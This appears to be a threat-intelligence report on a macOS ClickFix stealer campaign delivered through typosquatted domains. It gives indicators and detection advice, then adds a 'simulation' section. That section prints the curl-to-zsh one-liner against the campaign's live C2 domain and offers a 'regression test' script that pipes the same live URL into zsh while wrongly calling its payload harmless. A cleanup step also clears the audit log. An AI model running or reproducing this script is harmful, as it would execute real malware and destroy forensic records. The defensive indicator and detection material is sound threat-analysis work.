Unpacking the New “Matryoshka” ClickFix Variant: Typosquatting Campaign Delivers macOS Stealer

Summary

A new macOS malware operation dubbed Matryoshka abuses a typosquatted domain to social-engineer victims into pasting a malicious command into Terminal. The one-liner pulls an encoded script that decodes in memory and ultimately deploys an AppleScript-based stealer aimed at browser credentials and cryptocurrency wallets. The installer runs quietly in the background, suppresses visible output, and uploads harvested data using a custom API header. The campaign is driven by user interaction rather than a software exploit.

Investigation

Intego analysts reconstructed the chain end to end: a typo-squatted domain redirects users to a lightweight shell stage hosted at barbermoo.xyz. That script performs Base64 + gzip decoding in memory, executes a loader that retrieves the AppleScript payload, and stages collection results into /tmp/osalogging.zip before exfiltration. The AppleScript attempts credential theft by presenting a fake System Preferences prompt, and it also targets crypto tooling by replacing or patching Ledger Live and Trezor Suite application bundles.

Mitigation

User awareness is the primary control: do not paste Terminal commands from websites. Block and monitor the identified typosquatted and C2-related domains, as well as the traffic distribution infrastructure supporting delivery. Apply application allow-listing and use endpoint protection that can detect suspicious osascript execution and abnormal curl-based retrieval patterns.

Response

Alert on Terminal-initiated curl piped to zsh or osascript, monitor creation of /tmp/osalogging.zip, and flag unexpected changes to Ledger Live and Trezor Suite bundles. Enforce DNS filtering for barbermoo.xyz, comparisions.org, and macfilesendstream.com. Investigate any process that launches silently in the background immediately after a curl-driven command execution.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

• Attack Narrative & Commands:
  An adversary who has already compromised a low‑privileged macOS account wants to execute a remote payload without writing files to disk. They craft a one‑liner that fetches a base‑64‑encoded script from a malicious C2 domain (barbermoo.xyz), pipes it directly to zsh, and finally uses eval to execute the in‑memory payload. This approach aligns with T1059.004 (Unix shell) and T1027 (obfuscation) and is exactly what the Sigma rule is watching for.

  1. The attacker obtains a unique token (ABCD1234) that ties the request to their campaign.

  2. They run the following one‑liner in a Terminal session:

     curl -fsSL https://barbermoo.xyz/curl/ABCD1234 | zsh

  3. Inside the fetched script, a variable payload holds a base64‑encoded malicious payload, which is executed via:

     eval "$payload"

  This generates two distinct command‑line entries that the rule matches:

  • curl -fsSL https://barbermoo.xyz/curl/ABCD1234 | zsh
  • eval "$payload"

• Regression Test Script:
  The script below reproduces the malicious behavior in a controlled lab environment. Run it on a macOS test host only. It logs its own execution to the system audit log, satisfying the detection rule.

  #!/usr/bin/env bash
  # -------------------------------------------------
  # Matryoshka Variant Simulation – triggers Sigma rule
  # -------------------------------------------------
  set -euo pipefail
  
  # --- Configuration -------------------------------------------------
  TOKEN="ABCD1234"                     # Replace with any string to simulate uniqueness
  MALICIOUS_URL="https://barbermoo.xyz/curl/${TOKEN}"
  # A tiny harmless payload for demo – echoing a message (replace with real payload in red‑team)
  PAYLOAD="echo 'Malicious payload executed'"
  
  # --- Step 1: Fetch and pipe to zsh (matches first detection pattern) ---
  curl -fsSL "${MALICIOUS_URL}" | zsh
  
  # --- Step 2: Simulate in‑memory eval (matches second pattern) -------------
  # In a real attack the payload would be base64‑encoded and decoded on‑the‑fly.
  eval "${PAYLOAD}"

• Cleanup Commands: Remove any transient processes and restore the shell state.

  # Kill any zsh processes spawned by the test (if still running)
  pkill -f "zsh -c .*barbermoo.xyz"
  
  # Optionally clear the audit log of the test entries (requires admin)
  sudo audit -c      # Flushes the audit buffer (demonstrates T1070.010)